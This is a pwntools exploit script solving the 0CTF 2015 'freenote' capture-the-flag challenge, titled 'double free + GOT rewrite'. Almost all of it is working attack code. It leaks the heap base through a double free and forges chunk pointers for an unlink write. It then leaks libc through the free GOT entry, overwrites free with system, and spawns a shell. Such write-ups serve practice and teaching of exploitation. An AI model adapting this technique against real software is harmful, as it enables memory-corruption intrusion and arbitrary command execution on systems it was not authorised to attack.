0ctf 2015 freenote

double free + GOT rewrite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
note=process('./freenote')
def newnote(x):
note.recvuntil('Your choice: ')
note.send('2\n')
note.recvuntil('Length of new note: ')
note.send(str(len(x)) + '\n')
note.recvuntil('Enter your note: ')
note.send(x)
#print note.recv()
def delnote(x):
note.recvuntil('Your choice: ')
note.send('4\n')
note.recvuntil('Note number: ')
note.send(str(x)+'\n')
#print note.recv()
def editnote(x,y):
note.recvuntil('Your choice: ')
note.send('3\n')
note.recvuntil('Note number: ')
note.send(str(x)+'\n')
note.recvuntil('Length of note: ')
note.send(str(len(y))+'\n')
note.recvuntil('Enter your note: ')
note.send(y)
def listnote(x):
note.recvuntil('Your choice: ')
note.send('1\n')
note.recvuntil(x)
s=note.recvuntil('\n')
return s
newnote('B')
newnote('B')
newnote('B')
newnote('B')
delnote(0)
delnote(2)
newnote('B'*0x8)
result=listnote('B'*0x8)
result=u64(result[:-1].ljust(0x8,'\x00')) - 0x1940
#leak the addr of heap_base
print '[+] heap base: '+ hex(result)
heap_base=result
raw_file=ELF('freenote')
libc=ELF('libc.so.6')
off_system=libc.symbols['system']
off_free=libc.symbols['free']
off_puts=libc.symbols['puts']
free_got=raw_file.got['free']
puts_got=raw_file.got['puts']
malloc_got=raw_file.got['malloc']
newnote('A'*0x80)
newnote('B'*0x80)
newnote('C'*0x80)
delnote(0)
delnote(1)
payload=p64(0x80)+p64(0x80)
payload+=p64(heap_base+0x30-3*0x8)
payload+=p64(heap_base+0x30-2*0x8)
payload=payload.ljust(0x80,'A')
#chunk B
payload+=p64(0x80)
payload+=p64(0x90)
newnote(payload)
delnote(1)
payload=p64(0x1)+p64(0x1)
payload+=p64(0x8)
payload+=p64(free_got)
payload=payload.ljust(0x90)
editnote(0,payload) #the error
print 'info'
result=listnote('0. ')
result=u64(result[:-1].ljust(0x8,'\x00'))
print '[+]addr_free= ',hex(result)
libc_base=result-off_free
system_addr=libc_base+off_system
puts_addr=libc_base+libc.symbols['puts']
read_addr=libc_base+libc.symbols['read']
print hex(system_addr)
payload=p64(system_addr)
editnote(0,payload)
newnote('sh\0')
delnote(6)
note.interactive()